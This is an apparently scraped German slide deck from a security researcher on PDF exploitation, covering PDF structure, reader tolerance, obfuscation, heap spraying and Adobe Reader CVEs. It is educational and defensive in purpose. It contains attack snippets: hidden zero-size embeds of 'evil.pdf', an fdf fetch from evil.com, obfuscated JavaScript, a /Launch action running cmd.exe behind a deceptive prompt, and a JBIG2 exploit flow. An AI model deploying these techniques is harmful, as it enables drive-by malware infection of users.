660 likes | 969 Views
PDF Exploitation. Herzlich Willkommen. Überblick. G Data Software AG SecurityLabs. Karsten Tellmann, Security Researcher. Gliederung. PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele. 1. PDF Überblick. 1992: PDF v1.0 wird veröffentlicht
E N D
PDF Exploitation Herzlich Willkommen. Überblick G Data Software AG SecurityLabs Karsten Tellmann, Security Researcher
Gliederung PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele
1992: PDF v1.0 wird veröffentlicht • 1993: PDF Spezifikation wird veröffentlicht • 1993: Adobe Acrobat wird veröffentlicht • 1999: JavaScript Interpreter kommt hinzu • 2005: 3D Engine kommt hinzu • 2007: Flash Support • 2008: PDF wird zum Standard (ISO 32000-1:2008) • Über 200.000.000 PDF Dokumente im WWW • Über 1.800 Anbieter von PDF bezogenen • Produkten/Dienstleistungen Portable Document Format - Fakten Quelle: http://www.adobe.com/pdf
Video • Audio • XML • U3D • Interaktive Formulare • Dateianhänge • Datenbanken (ADBC) • Kodierung • Verschlüsselung • Digitale Singaturen • JavaScript • Flash • Dateien ausführen (cmd.exe) Ausgewählte Features Digitales eierlegendes Wollmilchdokumentenformat
Warum ist PDF so interessant für Malwareautore? Warum PDF? • Weite Verbreitung (-> großes Zielpublikum) • Enormer Funktionsumfang (-> Komplexität vs. Sicherheit) • Veraltete Versionen (-> Alte Exploits) • Browser Plug-ins (-> Drive-by-Downloads)
Common VulnerabilitiesandExposures (CVE) Suchbegriffe Adobe Reader PDF Adobe Reader + PDF Quelle: http://cve.mitre.org
Generell (FF 3.6.13, Opera 10.63, IE 8.0) <object data="evil.pdf" type="application/pdf" width="0" height="0"/> <iframe src="evil.pdf" frameborder="0" width="0" height="0" /> <embed src="evil.pdf" width="0" height="0" /> Internet Explorer <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" width="0" height="0"><param name="src" value="evil.pdf" /> </object> Einbetten in einer Webseite
PluginDetect (Eric Gerds): • http://pinlady.net/PluginDetect • Konfigurierbares JavaScript zur Bestimmung von • Browser Plugin Versionen • Java, QuickTime, DevalVR, Shockwave, Flash, Windows Media Player, Silverlight, VLC Player, Adobe Reader, Generic PDF Reader Plugin Versionserkennung
PluginDetect Beispiel <html><head><title>PDF Reader PluginDetection</title> <scriptsrc="PluginDetector.js"></script> <scriptlanguage="javascript" type="text/javascript"> functioncheck_version(){ adobe = PluginDetect.getVersion("AdobeReader"); version = adobe.split(",").join("."); alert("Adobe Reader Version: "+version); } </script></head> <bodyonload="check_version()"> </body></html>
PluginDetect: Bleeding Life • Bleeding Life Exploit Kit Version 2: ~400 $ • Unterstützte PDF Exploits: • CVE 2008-2992 (util.printf) • CVE 2010-0188 (libtiff) • CVE 2010-1297 (authplay.dll (AVM2)) • CVE 2010-2884 (authplay.dll (AVM2)) Beispiel: bleedinglife.txt
Browser Kontext • Das Sicherheits-Management des Adobe Reader ändert sich im Browser Kontext: • Keine Warnmeldungen wenn das PDF mit Webseiten • interagieren will (zB.: GoToR) • Parameter können via GET an das Reader Plug-in • übergeben werden: • http://site.org/file.pdf#page=23 • http://site.org.file.pdf#fdf=http://evil.com/modify.fdf Quelle: Maliciousorigami in PDF
Einbetten von kodiertem Inhalt (zB.: .jpg, .png) • Kodieren von beliebigem Inhalt (zB.: JavaScript) • Filter können beliebig verkettet werden PDF Streams Liste von unterstützten Filtern: • ASCII85Decode • ASCIIHexDecode • FlateDecode • LZWDecode • RunLengthDecode • DCTDecode • CCITTFaxDecode • JBIG2Decode • JPXDecode • (U3D)
Basis Datentypen werden in Objekten organisiert • Objekte haben eine ID und können referenziert werden Objects 1 0 obj << /Var (Text) >> endobj 1 0 obj << /Var 2 0 R >> Endobj 2 0 obj (Text) endobj Äquivalent
Header: Version der PDF Spezifikation. Objekte: Beschreiben den Inhalt des Dokuments. Cross Reference Table: Gibt an , an welcher Byte-Position im Dokument welches Objekt steht und in welcher Version es vorliegt. Trailer: Anzahl der Objekte, spezifiziert das root Element, Position des letzten Cross Reference Table. Physikalische Struktur
Physikalische Struktur Beispiel: Hello-World.pdf
Parsing Schritte: • Suche PDF Header innerhalb der • ersten 1024 Bytes • Suche Trailer und bestimme root Objekt • und Cross Reference Table (xref) • Bestimme Byte Position vom root Objekt • mittels Eintrag im xref und parse Inhalt. • Folge Referenzen Logische Struktur Überblick Herzlich Willkommen.
PDFs können Aktionen ausführen: • Ausführen von JavaScript • Senden von Formularen, Email • Lokale OS Kommandos ausführen • Externe Ressourcen ansprechen • Abspielen von Musik und Videos • … Aktionen
Aktionen werden ausgelöst: • Öffnen und schließen des Dokuments • Öffnen und schließen einer Seite • Betreten eines bestimmten Fläche in einer Seite • Beim parsen eines Objektes • … Trigger
Aktionen und Trigger Beispiel: Triggers.pdf
Reader Software reagiert unterschiedlich auf Formatfehler. Reader Toleranz I Überblick PDF Header Spezifikation: %PDF-<Versions Nr.> steht am Anfang der Datei • Acrobat Reader X: • %PDF- reicht aus • Innerhalb der ersten 1024 Bytes • Vor dem Catalog Objekt Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…
Reader Software reagiert unterschiedlich auf Formatfehler. Reader Toleranz II Überblick • PDF Spezifikation: • %%EOF steht am Ende der Datei • /Size • /Length • Acrobat Reader X: • komplett egal
Reader Toleranz III Überblick Quelle: http://blog.didierstevens.com
Reader Toleranz Beispiel Überblick %PDF- trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript /JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>> by Julia Wolf, FireEye Malware Intelligence Lab
Name Obfuscation • /JavaScript • /#4A#61#76#61#53#63#72#69#70#74 PDF Obfuscation I Überblick • Literal String Obfuscation • /JS (app.alert(„GotYa!“);) • /JS (\141\160\160.\\ • alert(„Go\164 Y\141!“);) • Hexadecimal String Obfuscation • /JS <6170702e616c6572742822476f742059612122293b> • /JS <61 70 702e 616c 65 72 74 • 28 22 476f 74 2059612122293b>
Stream Objekte • Alles kann Inhalt eines Stream Objekts sein • Verketten von beliebig vielen Filtern: • /Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode] PDF Obfuscation II Überblick • Encryption (RC4, AES in CBC mode) • Verschlüsselt nur Inhalt von String und Stream Objekten • Bei leerem Owner Passwort, wird mit einem • 32Byte Standardpasswort entschlüsselt (außer AES256). • <28BF4E5E4E758A4164004E56FFFa0108 • 2E2E00B6D0683E802F0CA9FE6453697A> • => Keine Benutzerinteraktion nötig!
PDF Obfuscation Beispiel Beispiel: CVE-2009-0658 Buffer overflow Schwachstelle in der Verarbeitung von JBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0 Überblick Metasploit Beispiel: msf_jbig2decode.pdf
Variablen aus PDF Objekten auslesen: • getPageNthWord • getLinks • getIcon • getPageNumWords • getPageNthWordQuads • documentFileName • getAnnots • this.info.<var> JavaScript: Anti Emulation Überblick
Vorüberlegungen Szenario (gezielt vs. massenhaft) Exploit(s) wählen (Plattform, Software, Version …) Schutzmaßnahmen (Obfuscation, Anti Emulation) Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode) Überblick
Angriffsschritte Angriff auslösen (/OpenAction, /AA, /A, /Names) Speicher vorbereiten (HeapSpray,JITSpray) Schwachstelle ausnutzen (Exploit) Eigenen Programmcode ausführen (Shellcode) Überblick
Bestimmen der Plattform und der Version des Acrobat Reader, um eine auf das Zielsystem angepassten Exploit zu benutzen. Multiple Exploits Überblick
JavaScript: Heapspray Überblick 64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap
Heapspray: Speicher Überblick
Schwachstellenkategorien • Funktionsmissbrauch • Acrobat JavaScript Methoden • Stream Filter (JBIG2,TIFF) • 3D Objekte (U3D) • Font Parsing Modulen • Eingebettete Flash Files
Funktionsmissbrauch: CVE-2010-1240 Embedded Datei cmd.exe speichern Ändere Text der MessageBox Benutzer führt Datei aus 7 0 obj << /Type /Action /S /Launch /Win << /F (cmd.exe) /P (/C echo @set LP="\(">s1.bat&&echo @set RP="\)">>s1.bat&&echo … To view the encrypted message in this PDF document, select 'Do not show this message again' and click the Open button!)>>>>endobj
/Action /Launch %PDF- trailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>> 2 0 obj << /Type /Action /S /Launch /F << /DOS (D:\cmd.exe) /Unix (/usr/bin/xcalc) /Mac (/Applications/Calculator.app) >> >>endobj
Aufbau JBIG2 Stream • Page associationsize: • 0 : Segment pageassociation = 1 Byte • 1 : Segment pageassociation = 4 Byte • Setze segment association size = 1 • Wähle großen Wert für segment page association • (0x00666666 * 5 * 4) • Programmablauf zeigt auf den 1. Teil des Heap Spray • und interpretiert den Wert als Pointer (0x341F2500) • Pointer zeigt auf 2. Teil des Heap Sprays mit • Nopsled + Shellcode und führt diesen aus
Anmerkungen CVE-2009-0658 • Die Schwachstelle ist nicht Adobe Reader spezifisch, da der Fehler in der Parsing Bibliothek für JBIG2 Streams liegt. • Die Schwachstelle kann ohne öffnen des PDF ausgelöst • werden: • Windows Indexing Service (Indiziert auch PDF Inhalte) • Windows Column Handler (Ordner Vorschau, MetaInfo) • Es wird jedoch kein JavaScript ausgeführt um den • Speicher für den Angriff vorzubereiten.
U3D: CVE-2009-2990 Beispiel Java Script: U3D CLODProgressiveMesh-Continuation Split Position Index arbitrary dereference
U3D: CVE-2009-2990 Fehlende Validierung des Split Position Index Im Resolution Update des CLOD Progressive Mesh Continuation Block
CVE-2010-2883 • 06.09. – Golf Clinic.pdf • 07.09. – Zum ersten Mal bei VirusTotal.com (1/43) • 08.09. – Adobe Advisory • 08.09. – InitialesMetasploit-Modul • 04.10. – Offizieller Adobe-Patch (Regulärer Patch-Zyklus: 12.10.)
Die Schwachstelle • Stackbasedbufferoverflow: CoolType.dll • Feld in SING (Smart INdependentGlyphlets) Tabelle von TrueType Fonts • uniqueName Spezifikation: (28 byte, 7-bit ASCII, Null Terminiert) • Strcat(stack_buf, user_input) => Null Terminierung wird nicht überprüft